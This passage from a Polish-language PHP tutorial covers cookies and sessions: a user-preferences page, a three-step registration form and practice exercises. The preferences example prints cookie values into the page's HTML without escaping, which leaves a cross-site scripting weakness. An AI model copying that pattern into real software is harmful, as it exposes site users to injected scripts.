            Suma: <?= number_format($total, 2) ?> zł
        </div>
    <?php endif; ?>
    
    <hr>
    
    <h2>Dodaj produkt</h2>
    <form method="POST">
        <input type="hidden" name="product_id" value="<?= uniqid() ?>">
        <input type="text" name="product_name" placeholder="Nazwa produktu" required>
        <input type="number" name="product_price" placeholder="Cena" step="0.01" required>
        <button type="submit" name="add_to_cart">Dodaj do koszyka</button>
    </form>
</body>
</html>

3. Preferencje użytkownika w cookies

<?php
// Obsługa formularza - zapis preferencji
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $theme = $_POST['theme'] ?? 'light';
    $fontSize = $_POST['font_size'] ?? 'medium';
    $language = $_POST['language'] ?? 'pl';
    
    // Zapisz na 365 dni
    $expires = time() + (365 * 24 * 60 * 60);
    setcookie('theme', $theme, $expires, '/', '', false, true);
    setcookie('font_size', $fontSize, $expires, '/', '', false, true);
    setcookie('language', $language, $expires, '/', '', false, true);
    
    header('Location: ' . $_SERVER['PHP_SELF']);
    exit;
}

// Odczytaj preferencje
$theme = $_COOKIE['theme'] ?? 'light';
$fontSize = $_COOKIE['font_size'] ?? 'medium';
$language = $_COOKIE['language'] ?? 'pl';

// Mapowanie rozmiarów czcionek
$fontSizes = [
    'small' => '14px',
    'medium' => '16px',
    'large' => '20px'
];
?>

<!DOCTYPE html>
<html lang="<?= $language ?>">
<head>
    <meta charset="UTF-8">
    <title>Preferencje</title>
    <style>
        body {
            font-family: Arial, sans-serif;
            font-size: <?= $fontSizes[$fontSize] ?>;
            padding: 20px;
            max-width: 800px;
            margin: 0 auto;
        }
        body.light {
            background: #ffffff;
            color: #000000;
        }
        body.dark {
            background: #1a1a1a;
            color: #ffffff;
        }
        form {
            background: rgba(128, 128, 128, 0.1);
            padding: 20px;
            border-radius: 5px;
            margin: 20px 0;
        }
        label {
            display: block;
            margin: 10px 0 5px;
            font-weight: bold;
        }
        select {
            padding: 8px;
            width: 200px;
        }
        button {
            margin-top: 15px;
            padding: 10px 20px;
            background: #007bff;
            color: white;
            border: none;
            cursor: pointer;
            border-radius: 4px;
        }
        .current {
            background: rgba(0, 123, 255, 0.1);
            padding: 15px;
            border-radius: 5px;
            margin: 20px 0;
        }
    </style>
</head>
<body class="<?= $theme ?>">
    <h1>Twoje preferencje</h1>
    
    <div class="current">
        <h3>Aktualne ustawienia:</h3>
        <p>Motyw: <strong><?= $theme === 'light' ? 'Jasny' : 'Ciemny' ?></strong></p>
        <p>Rozmiar czcionki: <strong><?= ucfirst($fontSize) ?></strong></p>
        <p>Język: <strong><?= $language === 'pl' ? 'Polski' : 'English' ?></strong></p>
    </div>
    
    <form method="POST">
        <label>Motyw:</label>
        <select name="theme">
            <option value="light" <?= $theme === 'light' ? 'selected' : '' ?>>Jasny</option>
            <option value="dark" <?= $theme === 'dark' ? 'selected' : '' ?>>Ciemny</option>
        </select>
        
        <label>Rozmiar czcionki:</label>
        <select name="font_size">
            <option value="small" <?= $fontSize === 'small' ? 'selected' : '' ?>>Mała</option>
            <option value="medium" <?= $fontSize === 'medium' ? 'selected' : '' ?>>Średnia</option>
            <option value="large" <?= $fontSize === 'large' ? 'selected' : '' ?>>Duża</option>
        </select>
        
        <label>Język:</label>
        <select name="language">
            <option value="pl" <?= $language === 'pl' ? 'selected' : '' ?>>Polski</option>
            <option value="en" <?= $language === 'en' ? 'selected' : '' ?>>English</option>
        </select>
        
        <button type="submit">Zapisz preferencje</button>
    </form>
    
    <p><small>Preferencje są przechowywane w ciasteczkach przez 365 dni</small></p>
</body>
</html>

4. Wieloetapowy formularz z sesjami

step1.php:

<?php
session_start();

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $_SESSION['step1'] = [
        'imie' => trim($_POST['imie']),
        'nazwisko' => trim($_POST['nazwisko']),
        'email' => trim($_POST['email']),
        'telefon' => trim($_POST['telefon'])
    ];
    header('Location: step2.php');
    exit;
}

// Zachowaj wartości jeśli użytkownik wraca
$data = $_SESSION['step1'] ?? [];
?>

<!DOCTYPE html>
<html lang="pl">
<head>
    <meta charset="UTF-8">
    <title>Rejestracja - Krok 1/3</title>
    <style>
        body { font-family: Arial; max-width: 600px; margin: 50px auto; padding: 20px; }
        .progress { background: #e0e0e0; height: 20px; border-radius: 10px; margin-bottom: 30px; }
        .progress-bar { background: #007bff; height: 100%; border-radius: 10px; width: 33%; }
        input { display: block; width: 100%; padding: 10px; margin: 10px 0; box-sizing: border-box; }
        button { padding: 10px 20px; background: #007bff; color: white; border: none; cursor: pointer; }
    </style>
</head>
<body>
    <h1>Rejestracja - Krok 1/3</h1>
    <h2>Dane osobowe</h2>
    
    <div class="progress">
        <div class="progress-bar"></div>
    </div>
    
    <form method="POST">
        <label>Imię:</label>
        <input type="text" name="imie" value="<?= htmlspecialchars($data['imie'] ?? '') ?>" required>
        
        <label>Nazwisko:</label>
        <input type="text" name="nazwisko" value="<?= htmlspecialchars($data['nazwisko'] ?? '') ?>" required>
        
        <label>Email:</label>
        <input type="email" name="email" value="<?= htmlspecialchars($data['email'] ?? '') ?>" required>
        
        <label>Telefon:</label>
        <input type="tel" name="telefon" value="<?= htmlspecialchars($data['telefon'] ?? '') ?>" pattern="[0-9]{9}" placeholder="123456789">
        
        <button type="submit">Dalej</button>
    </form>
</body>
</html>

step2.php:

<?php
session_start();

// Sprawdź czy krok 1 został wypełniony
if (!isset($_SESSION['step1'])) {
    header('Location: step1.php');
    exit;
}

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $_SESSION['step2'] = [
        'ulica' => trim($_POST['ulica']),
        'miasto' => trim($_POST['miasto']),
        'kod' => trim($_POST['kod'])
    ];
    header('Location: step3.php');
    exit;
}

$data = $_SESSION['step2'] ?? [];
?>

<!DOCTYPE html>
<html lang="pl">
<head>
    <meta charset="UTF-8">
    <title>Rejestracja - Krok 2/3</title>
    <style>
        body { font-family: Arial; max-width: 600px; margin: 50px auto; padding: 20px; }
        .progress { background: #e0e0e0; height: 20px; border-radius: 10px; margin-bottom: 30px; }
        .progress-bar { background: #007bff; height: 100%; border-radius: 10px; width: 66%; }
        input { display: block; width: 100%; padding: 10px; margin: 10px 0; box-sizing: border-box; }
        button { padding: 10px 20px; background: #007bff; color: white; border: none; cursor: pointer; margin-right: 10px; }
        .back { background: #6c757d; }
    </style>
</head>
<body>
    <h1>Rejestracja - Krok 2/3</h1>
    <h2>Adres</h2>
    
    <div class="progress">
        <div class="progress-bar"></div>
    </div>
    
    <form method="POST">
        <label>Ulica i numer:</label>
        <input type="text" name="ulica" value="<?= htmlspecialchars($data['ulica'] ?? '') ?>" required>
        
        <label>Miasto:</label>
        <input type="text" name="miasto" value="<?= htmlspecialchars($data['miasto'] ?? '') ?>" required>
        
        <label>Kod pocztowy:</label>
        <input type="text" name="kod" value="<?= htmlspecialchars($data['kod'] ?? '') ?>" pattern="[0-9]{2}-[0-9]{3}" placeholder="00-000" required>
        
        <button type="submit">Dalej</button>
        <a href="step1.php"><button type="button" class="back">Wstecz</button></a>
    </form>
</body>
</html>

step3.php:

<?php
session_start();

// Sprawdź czy poprzednie kroki zostały wypełnione
if (!isset($_SESSION['step1']) || !isset($_SESSION['step2'])) {
    header('Location: step1.php');
    exit;
}

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    // Zapisz dane (np. do bazy danych lub pliku)
    $allData = array_merge($_SESSION['step1'], $_SESSION['step2']);
    
    // Tutaj zapis do bazy/pliku
    // saveUserData($allData);
    
    // Wyczyść sesję
    unset($_SESSION['step1']);
    unset($_SESSION['step2']);
    
    header('Location: success.php');
    exit;
}

$data = array_merge($_SESSION['step1'], $_SESSION['step2']);
?>

<!DOCTYPE html>
<html lang="pl">
<head>
    <meta charset="UTF-8">
    <title>Rejestracja - Krok 3/3</title>
    <style>
        body { font-family: Arial; max-width: 600px; margin: 50px auto; padding: 20px; }
        .progress { background: #e0e0e0; height: 20px; border-radius: 10px; margin-bottom: 30px; }
        .progress-bar { background: #28a745; height: 100%; border-radius: 10px; width: 100%; }
        .summary { background: #f8f9fa; padding: 20px; border-radius: 5px; margin: 20px 0; }
        button { padding: 10px 20px; background: #28a745; color: white; border: none; cursor: pointer; margin-right: 10px; }
        .back { background: #6c757d; }
    </style>
</head>
<body>
    <h1>Rejestracja - Krok 3/3</h1>
    <h2>Podsumowanie</h2>
    
    <div class="progress">
        <div class="progress-bar"></div>
    </div>
    
    <div class="summary">
        <h3>Dane osobowe:</h3>
        <p>Imię: <?= htmlspecialchars($data['imie']) ?></p>
        <p>Nazwisko: <?= htmlspecialchars($data['nazwisko']) ?></p>
        <p>Email: <?= htmlspecialchars($data['email']) ?></p>
        <p>Telefon: <?= htmlspecialchars($data['telefon']) ?></p>
        
        <h3>Adres:</h3>
        <p>Ulica: <?= htmlspecialchars($data['ulica']) ?></p>
        <p>Miasto: <?= htmlspecialchars($data['miasto']) ?></p>
        <p>Kod pocztowy: <?= htmlspecialchars($data['kod']) ?></p>
    </div>
    
    <form method="POST">
        <button type="submit">Zatwierdź rejestrację</button>
        <a href="step2.php"><button type="button" class="back">Wstecz</button></a>
    </form>
</body>
</html>

Zadania praktyczne

Zadanie 1: System „Nie pokazuj więcej”

Stwórz stronę z popup’em, który pojawia się tylko raz. Po kliknięciu „Nie pokazuj więcej” zapisz informację w cookie na 30 dni.

Wymagania:

  • Popup wyświetla się na środku ekranu
  • Szare tło (overlay) pod popup’em
  • Przycisk „Zamknij” – zamyka na tę sesję
  • Checkbox „Nie pokazuj więcej” – zamyka na 30 dni

Zadanie 2: Prosty koszyk z sesjami

Stwórz koszyk zakupowy wykorzystujący sesje:

  • Lista produktów z cenami
  • Przycisk „Dodaj do koszyka”
  • Wyświetlanie zawartości koszyka
  • Zmiana ilości produktów
  • Usuwanie produktów
  • Obliczanie sumy

Zadanie 3: System logowania z „Zapamiętaj mnie”

Stwórz system logowania:

  • Formularz login/hasło
  • Checkbox „Zapamiętaj mnie”
  • Sesja dla zalogowanego użytkownika
  • Cookie z tokenem na 30 dni (jeśli zaznaczono „Zapamiętaj”)
  • Automatyczne logowanie przy kolejnej wizycie
  • Bezpieczne wylogowanie

Zadanie 4: Licznik unikalnych odwiedzin

Stwórz licznik, który:

  • Zlicza każde wejście na stronę (sesja)
  • Ale liczy użytkownika tylko raz dziennie (cookie)
  • Wyświetla: „Dzisiaj odwiedziło nas X użytkowników”
  • Resetuje licznik o północy

Zadanie 5: Preferencje użytkownika

Stwórz stronę z formularzem preferencji:

  • Wybór motywu (jasny/ciemny)
  • Wybór rozmiaru czcionki (mała/średnia/duża)
  • Wybór języka (PL/EN)
  • Zapisz w cookies na rok
  • Zastosuj preferencje na całej stronie